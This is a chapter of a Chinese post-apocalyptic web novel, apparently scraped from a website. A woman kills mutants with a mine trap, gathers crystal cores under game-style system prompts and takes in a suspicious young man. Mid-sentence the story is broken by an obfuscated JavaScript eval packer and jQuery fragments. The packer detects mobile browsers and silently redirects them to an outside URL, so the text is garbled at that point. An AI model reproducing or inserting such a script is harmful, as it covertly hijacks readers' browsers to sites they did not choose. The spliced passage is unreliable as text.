“难道是血液太少了，吸引力不够？”祝明心用刑战刚好能听到的声音自言自语。


    “……要不，再等一会儿？”刑战肩膀的伤口已经愈合，新生的皮肉色泽粉嫩，看上去有种格外柔软的质感。


    “五分钟，如果还是不行，你就预备着放血吧。”祝明心顿了顿，补了一句，“放心，不会让你太疼的。”


    刑战沉默点头，似乎累极了，半阖眸靠墙假寐。


    祝明心的注意力全都在前方陷阱处，也就没有注意到刑战微微翕动的嘴唇。


    他在无声地念诵着什么。


    不过片刻。


    拖沓的脚步声伴随着愈发浓重的腥臭味儿，不断靠近。


    “来了。”祝明心立即警觉起来，身子尽可能地蜷在矮墙后头，只露出一双眼，观察着四周的情况。


    一只异变体神情呆滞摇摇晃晃地走近。


    紧接着，第二只、第三只……


    眨眼的功夫，一群异变体从四面八方聚集起来，每一只异变体都是那副迟钝呆板的样子，直愣愣地走向提前布置好的陷阱区域。


    “怎么样？这些够了吧？”刑战这时才敢凑近祝明心，小声谨慎地询问，为了表示自己的弱不禁风，还急促喘息了几下。


    距离太近，祝明心不适地“啧”了声，用胳膊肘把他架开：“离我远点，安静。”


    “喔……”刑战吸了吸鼻子，乖乖抱腿坐在旁边，下巴搭在膝头，像是被雨淋湿的可怜小狗。


    祝明心余光瞥到他这副做派，没有丝毫流连，只全神贯注地观测着异变体的行动。


    “轰！”


    剧烈的爆炸声回荡。


    跳/雷被顺利引爆，雪水泥土四溅，距离爆点最近的那一圈儿异变体几乎没有任何反抗的能力，直接被炸成了碎片。


    25米的致死范围外，是被冲击力以及破片波及的异边体，它们如同秋后的麦田一样被割倒了一茬，但还保有行动能力，拼命扭动挣扎着，试图要爬起来。


    更远处的那些似乎被眼前的场景震撼到，卡壳了似的呆愣在原地一动不动。


    直到尘埃落定，异变体们四散奔逃，连靠近的意思都没有。


    爆点位置残存的热量在它们看来就是一个充满危险气息的岩浆池，靠近一点点就会被彻底吞没！


    “奇怪了……”事情的发展比祝明心预想的要顺利许多，但她总觉得哪里不对劲儿。


    这些异变体也太乖了，所有的行为都符合她理想中的情况。


    比如她所担心的，被吸引来的异边体会一个个靠近，导致提早引爆，又或者是吸引来高阶异变体，让陷阱失效，再或者她的存在被感知敏锐的异变体发现，让它们的目标发生偏差。


    她承认她有赌的成分，短时间内收割大量晶核本来就是一场豪赌。


    但凡细节上有偏差，结局都不会这么完美。


    现在她只需要走出掩体，靠着手里的匕首解决掉那些被炸断四肢或者干脆断成两截，几乎失去行动能力的半残异变体，就可以收获一大批晶核。


    太过顺利，反而有点不真实。


    “我帮你去捡中间的那些吧。”刑战慢吞吞站起身来，指了指爆点的位置。


    那里的异变体基本都被炸烂了，令人作呕的腐烂碎肉跟泥水积雪混在一起，气味儿极其难闻。


    小小的晶核就混在那一堆泥泞里，想翻找出来，确实是个挑战性很高的活计。


    “去吧，可以给你三分之一。”祝明心回过神来，点头应下。


    随后，她取出晶能匕首，反握在手中，走向那些还在不断挣扎蠕动的异变体。


    手起刀落，全部都是一刀刺穿脑干。


    晶能匕首的刀刃极薄，切割异变体腐烂松软的血肉时，有种热刀切进黄油的顺滑感。


    踩住一颗临死前还在张着只剩牙床的嘴胡乱啃咬的头颅，祝明心惬意地叹了口气。


    压抑许久的杀戮欲望被抚平，盘踞在骨血里啃噬神经的躁意渐渐沉落。


    她剜出最后一颗晶核，甩了甩匕首上沾染的深褐色脓血，紧绷的肩臂线条缓缓松弛，浓长睫毛开合几次，眼底翻涌的暗火尽数平息，仅余留一脉平静死寂。


    然而她知道，这样欲望落定后的安稳不会持续太长时间，她注定无法停下脚步，最终走向自毁的尽头。


    “只找到这些。”


    忽然，一双手把满满的晶核捧到了她的面前。


    亮晶晶圆滚滚的晶核在阳光下散发出绚烂火彩，衬得那双手沾满脏污的手也如同艺术品。


    “嗯。”祝明心抓了一小把，粗略一估算，剩下的足够三分之一的量，“赏你了。”


    “我又没有安全屋，要这东西没用。”刑战手腕一翻，把所有晶核都拍进祝明心手里。


    数量太多，祝明心两只手都捧不住，干脆撕下一片衣角，把这些亮晶晶的东西都兜了起来。


    【获得一阶晶核（普通）x11，幸运值+1。】


    【获得一阶晶核（良好）x4，幸运值-8。】


    【获得一阶晶核（优秀）x6，幸运值-6。】


    提示音响起。


    祝明心一阵沉默。


    这一趟收获确实可观，但幸运值起起落落落落落是什么意思？


    “那个……你觉得我表现得好吗？”刑战等了一会儿，见祝明心的神情明显有所松懈，才轻轻扯了扯她的袖口。


    “还行，没添乱。”祝明心瞥他一眼。


    不得不承认，有的人真的仅凭一张脸就能轻易获得所有原谅。


    “我能跟你回家吗？”刑战语气真挚，意图尽量传达出“我很弱小我很无害”的信息。


    祝明心往后退了半步，盯着他，抿唇不语。


    家里已经有两个累赘，林钧宁本身就来路不明，如果不是交出了精神烙印，祝明心断然不会留个麻烦在身边。


    可以预见，刑战是个更大的麻烦。


    “很多补充精神力的药剂哦，你要是不管我，说不定什么时候我就被那些人抓回去了……”刑战语调渐沉，睫毛低低垂着，将那双漂亮眼睛的凛利与艳色统统遮起，显得温驯乖顺。


    祝明心目色深沉，两根指头掂起他的下巴，强迫他仰起脸来。


    长久无言。


    “我很听话，不会给你找麻烦。”刑战先开口，打破无形的压力，“而且，我很好杀的。”


    “呵。”祝明心意味不明地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304755|198378||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    嗤笑，收回手来，看了看天色，转身就走。


    听到身后跟上来的脚步声，她丝毫不感到意外。


    方才的沉默与对峙不过是确立上下级关系最简单的一点手段而已。


    她能感受到刑战心底不断压抑积蓄的复仇欲望，有欲望的人，就会权衡利弊，至少在交换条件达成之前，这个人都可以完全为她所用。


    一条漂亮听话又懂事还不容易死的狗，暂时养起来也不是什么大问题。


    ……


    进入到破旧小木屋500米范围内。


    【叮！】


    【主动搜索标记已完成。】


    【坐标102.992发现一件空投箱。】


    【是否开启标记寻路？】


    脑海中忽然响起了提示音。


    祝明心脚步一停。


    思索一番，她在记忆角落里翻出关于空投箱的信息。


    基地每隔一段时间会通过无人机运送一些物资，随机投放到D、E、F区还有人类活动的区域，数量不算太多，但都是很实用的生活物品。


    这次空投箱的坐标距离祝明心所在的位置大概有五公里左右，步行至少需要一个多小时。


    “你，去把空投箱拿回来。”没犹豫太久，祝明心对一直跟在她身后的刑战说道。


    “嗯？”刑战一怔，“位置在哪里？”


    祝明心拉过他的手，用手指在他掌心里空划下坐标点的数字。


    刑战想了一会儿，叹气道：“那来回要两三个小时呢，你总得让我穿件衣服吧。”


    祝明心暗自冷笑，只报一个坐标点就能估算出来回的行程时间，可不是轻易就能做到的。


    至少代表着刑战对于这片区域很熟悉，且经受过专业的训练。


    只有作战地图才会把某片区域分割成无数个小方块一样的网格，并在其中标注详细坐标点，以便战时精确报点，知晓同伴的位置。


    下意识的反应不会骗人，这种思维方式已经融进了刑战的本能反应，代表着他曾经无数次重复做过类似的事情。


    有意思。


    祝明心没有说破，脱掉自己的外套，这是件已经看不出原本颜色的棉大衣，宽松肥大，长度能遮到小腿。


    刑战勉强穿进去，宽阔肩膀把棉大衣撑得几乎要开线：“那我去了？”


    “嗯，一路顺风。”祝明心摆摆手，向着小木屋方向走去。


    “哎！我回来去哪儿找你！”刑战眼疾手快，一把攥住祝明心的手腕。


    下一秒，那条胳膊就被反拧到背后，关节处发出不堪重负的摩擦声。


    “疼……”刑战动弹不得，嗓音一下子哑了，费力地转过头，眼尾渗红，可怜巴巴地看向祝明心。


    “知道疼就行。”祝明心松开钳制，不轻不重地在他后腰上踹了一脚，“回第一次我用枪瞄你的地方。”


    说完，她没再停留，转身离开。


    刑战裹着并不合身的棉大衣，长久地伫立在原地，直到那道背影彻底消失在视野范围内。


    他所有细微的表情都收敛了起来，沉默而安静，像一丛植物。


    良久，他似是自嘲地轻笑一声，向着与祝明心相反的反向缓步走去。